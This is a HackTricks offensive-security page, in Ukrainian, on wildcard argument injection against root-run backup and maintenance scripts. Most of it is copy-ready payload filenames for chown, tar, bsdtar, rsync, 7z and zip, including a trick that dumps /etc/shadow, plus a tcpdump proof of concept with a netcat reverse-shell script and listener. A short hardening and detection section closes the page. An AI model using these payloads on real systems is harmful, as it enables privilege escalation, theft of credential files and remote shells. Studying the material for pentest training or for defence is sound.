Wildcards Spare Tricks

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Wildcard (також відомий як glob) ін'єкція аргументів відбувається, коли привілейований скрипт виконує Unix-бінарний файл, такий як tar, chown, rsync, zip, 7z, … з неквотованим шаблоном, таким як *. Оскільки оболонка розширює шаблон перед виконанням бінарного файлу, зловмисник, який може створювати файли в робочому каталозі, може створити імена файлів, які починаються з -, щоб їх інтерпретували як опції замість даних, ефективно контрабандуючи довільні прапори або навіть команди. Ця сторінка збирає найкорисніші примітиви, нещодавні дослідження та сучасні виявлення на 2023-2025 роки.

chown / chmod

Ви можете скопіювати власника/групу або біти дозволів довільного файлу, зловживаючи прапором --reference:

bash
# attacker-controlled directory
touch "--reference=/root/secret``file"   # ← filename becomes an argument

Коли root пізніше виконує щось на зразок:

bash
chown -R alice:alice *.php
chmod -R 644 *.php

--reference=/root/secret``file інжектується, що призводить до того, що всі відповідні файли успадковують власність/дозволи від /root/secret``file.

PoC & tool: wildpwn (комбінована атака). Дивіться також класичну статтю DefenseCode для деталей.


tar

GNU tar (Linux, *BSD, busybox-full)

Виконуйте довільні команди, зловживаючи функцією checkpoint:

bash
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

Якщо root виконує, наприклад, tar -czf /root/backup.tgz *, shell.sh виконується як root.

bsdtar / macOS 14+

За замовчуванням tar на останніх версіях macOS (на базі libarchive) не реалізує --checkpoint, але ви все ще можете досягти виконання коду за допомогою прапора --use-compress-program, який дозволяє вам вказати зовнішній компресор.

bash
# macOS example
touch "--use-compress-program=/bin/sh"

Коли привілейований скрипт виконує tar -cf backup.tar *, /bin/sh буде запущено.


rsync

rsync дозволяє вам переоприділити віддалену оболонку або навіть віддалений бінарний файл за допомогою параметрів командного рядка, які починаються з -e або --rsync-path:

bash
# attacker-controlled directory
touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh

Якщо root пізніше архівує каталог за допомогою rsync -az * backup:/srv/, ін'єкційний прапор запускає вашу оболонку на віддаленій стороні.

PoC: wildpwn (rsync mode).


7-Zip / 7z / 7za

Навіть коли привілейований скрипт оборонно додає префікс до шаблону з -- (щоб зупинити парсинг опцій), формат 7-Zip підтримує файли списків файлів, додаючи префікс @ до імені файлу. Поєднання цього з символічним посиланням дозволяє вам екстрактувати довільні файли:

bash
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow   root.txt      # file we want to read
touch @root.txt                  # tells 7z to use root.txt as file list

Якщо root виконує щось на зразок:

bash
7za a /backup/`date +%F`.7z -t7z -snl -- *

7-Zip спробує прочитати root.txt (→ /etc/shadow) як список файлів і вийде, друкуючи вміст у stderr.


zip

zip підтримує прапорець --unzip-command, який передається дослівно до системної оболонки, коли архів буде перевірено:

bash
zip result.zip files -T --unzip-command "sh -c id"

Впровадьте прапор через спеціально підготовлену назву файлу та чекайте, поки привілейований скрипт резервного копіювання викличе zip -T (тест архіву) на отриманому файлі.


Додаткові двійкові файли, вразливі до ін'єкцій з використанням підстановок (швидкий список 2023-2025)

Наступні команди були зловживані в сучасних CTF та реальних середовищах. Пейлоад завжди створюється як назва файлу всередині записуваної директорії, яка пізніше буде оброблена з використанням підстановки:

BinaryFlag to abuseEffect
bsdtar--newer-mtime=@<epoch> → arbitrary @fileЧитати вміст файлу
flock-c <cmd>Виконати команду
git-c core.sshCommand=<cmd>Виконання команди через git по SSH
scp-S <cmd>Запустити довільну програму замість ssh

Ці примітиви менш поширені, ніж класичні tar/rsync/zip, але їх варто перевірити під час полювання.


Хуки ротації tcpdump (-G/-W/-z): RCE через ін'єкцію argv у обгортках

Коли обмежена оболонка або обгортка постачальника формує командний рядок tcpdump, об'єднуючи поля, контрольовані користувачем (наприклад, параметр "назва файлу") без суворого цитування/перевірки, ви можете підсунути додаткові прапори tcpdump. Комбінація -G (ротація за часом), -W (обмеження кількості файлів) та -z <cmd> (команда після ротації) призводить до виконання довільної команди від імені користувача, який запускає tcpdump (часто root на пристроях).

Попередні умови:

  • Ви можете впливати на argv, передані tcpdump (наприклад, через обгортку на кшталт /debug/tcpdump --filter=... --file-name=<HERE>).
  • Обгортка не очищає пробіли або токени з префіксом - у полі назви файлу.

Класичний PoC (виконує скрипт зворотного шелу з записуваного шляху):

sh
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh

# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"

# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234

Деталі:

  • -G 1 -W 1 примушує негайну ротацію після першого відповідного пакета.
  • -z <cmd> виконує команду після ротації один раз за ротацію. Багато збірок виконують <cmd> <savefile>. Якщо <cmd> є скриптом/інтерпретатором, переконайтеся, що обробка аргументів відповідає вашому корисному навантаженню.

Варіанти без знімних носіїв:

  • Якщо у вас є будь-яка інша примітивна можливість запису файлів (наприклад, окремий обгортка команди, яка дозволяє перенаправлення виходу), помістіть свій скрипт у відомий шлях і викликайте -z /bin/sh /path/script.sh або -z /path/script.sh в залежності від семантики платформи.
  • Деякі обгортки постачальників ротації переміщуються до місць, контрольованих атакуючими. Якщо ви можете вплинути на ротаційний шлях (символічне посилання/перехід по директоріях), ви можете направити -z на виконання вмісту, який ви повністю контролюєте без зовнішніх носіїв.

Поради щодо зміцнення для постачальників:

  • Ніколи не передавайте рядки, контрольовані користувачем, безпосередньо в tcpdump (або будь-який інший інструмент) без строгих списків дозволених. Кодуйте та перевіряйте.
  • Не відкривайте функціональність -z в обгортках; запускайте tcpdump з фіксованим безпечним шаблоном і повністю забороняйте додаткові прапори.
  • Зменшуйте привілеї tcpdump (лише cap_net_admin/cap_net_raw) або запускайте під спеціальним непривілейованим користувачем з обмеженням AppArmor/SELinux.

Виявлення та зміцнення

  1. Вимкніть оболонкове глобування в критичних скриптах: set -f (set -o noglob) запобігає розширенню шаблонів.
  2. Кодуйте або екрануйте аргументи: tar -czf "$dst" -- * не безпечно — надавайте перевагу find . -type f -print0 | xargs -0 tar -czf "$dst".
  3. Явні шляхи: Використовуйте /var/www/html/*.log замість *, щоб атакуючі не могли створити сусідні файли, які починаються з -.
  4. Мінімальні привілеї: Запускайте резервні/обслуговуючі завдання як непривілейований обліковий запис служби замість root, коли це можливо.
  5. Моніторинг: Попередньо створене правило Elastic Potential Shell via Wildcard Injection шукає tar --checkpoint=*, rsync -e* або zip --unzip-command, які безпосередньо передують дочірньому процесу оболонки. Запит EQL можна адаптувати для інших EDR.

Посилання

  • Elastic Security – Правило виявлення Potential Shell via Wildcard Injection (остання оновлення 2025)
  • Rutger Flohil – “macOS — Tar wildcard injection” (18 грудня 2024)
  • GTFOBins – tcpdump
  • FiberGateway GR241AG – Full Exploit Chain

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks